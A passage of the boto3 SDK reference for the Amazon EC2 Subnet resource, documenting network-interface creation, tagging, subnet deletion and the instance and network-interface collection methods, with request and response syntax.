instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + +* **EnclaveOptions** (_dict_) -- + + Indicates whether the instance is enabled for AWS Nitro Enclaves. For more information, see [What is AWS Nitro Enclaves?](https://docs.aws.amazon.com/enclaves/latest/user/nitro-enclave.html) in the _AWS Nitro Enclaves User Guide_ . + + You can't enable AWS Nitro Enclaves and hibernation on the same instance. + + * **Enabled** _(boolean) --_ + + To enable the instance for AWS Nitro Enclaves, set this parameter to true . + + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_network_interface(kwargs_) + +Creates a network interface in the specified subnet. + +For more information about network interfaces, see [Elastic Network Interfaces](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkInterface) + +**Request Syntax** + +network_interface = subnet.create_network_interface( + Description='string', + DryRun=True|False, + Groups=[ + 'string', + ], + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + PrivateIpAddress='string', + PrivateIpAddresses=[ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + SecondaryPrivateIpAddressCount=123, + InterfaceType='efa', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **Description** (_string_) -- A description for the network interface. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Groups** (_list_) -- + + The IDs of one or more security groups. + + * _(string) --_ +* **Ipv6AddressCount** (_integer_) -- The number of IPv6 addresses to assign to a network interface. Amazon EC2 automatically selects the IPv6 addresses from the subnet range. You can't use this option if specifying specific IPv6 addresses. If your subnet has the AssignIpv6AddressOnCreation attribute set to true , you can specify 0 to override this setting. +* **Ipv6Addresses** (_list_) -- + + One or more specific IPv6 addresses from the IPv6 CIDR block range of your subnet. You can't use this option if you're specifying a number of IPv6 addresses. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + +* **PrivateIpAddress** (_string_) -- The primary private IPv4 address of the network interface. If you don't specify an IPv4 address, Amazon EC2 selects one for you from the subnet's IPv4 CIDR range. If you specify an IP address, you cannot indicate any IP addresses specified in privateIpAddresses as primary (only one IP address can be designated as primary). +* **PrivateIpAddresses** (_list_) -- + + One or more private IPv4 addresses. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + +* **SecondaryPrivateIpAddressCount** (_integer_) -- + + The number of secondary private IPv4 addresses to assign to a network interface. When you specify a number of secondary IPv4 addresses, Amazon EC2 selects these IP addresses within the subnet's IPv4 CIDR range. You can't specify this option and specify more than one private IP address using privateIpAddresses . + + The number of IP addresses you can assign to a network interface varies by instance type. For more information, see [IP Addresses Per ENI Per Instance Type](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html#AvailableIpPerENI) in the _Amazon Virtual Private Cloud User Guide_ . + +* **InterfaceType** (_string_) -- Indicates the type of network interface. To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **TagSpecifications** (_list_) -- + + The tags to apply to the new network interface. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1094)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1096)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.NetworkInterface + +Returns + +NetworkInterface resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = subnet.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified subnet. You must terminate all running instances in the subnet before you can delete the subnet. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSubnet) + +**Request Syntax** + +response = subnet.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_subnets()](#EC2.Client.describe_subnets "EC2.Client.describe_subnets") to update the attributes of the Subnet resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +subnet.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_subnets()](#EC2.Client.describe_subnets "EC2.Client.describe_subnets") to update the attributes of the Subnet resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +subnet.reload() + +Returns + +None + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = subnet.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +* **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +* **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = subnet.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = subnet.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = subnet.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +* **AdditionalInfo** (_string_) -- Reserved. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StartingInstances** _(list) --_ + + Information about the started instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = subnet.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +* **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = subnet.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = subnet.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +network_interfaces + +A collection of NetworkInterface resources.A NetworkInterface Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.all() + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +filter(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection filtered by kwargs passed to method.A NetworkInterface collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.filter( + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. You cannot specify this parameter and the network interface IDs parameter in the same request. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +page_size(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API 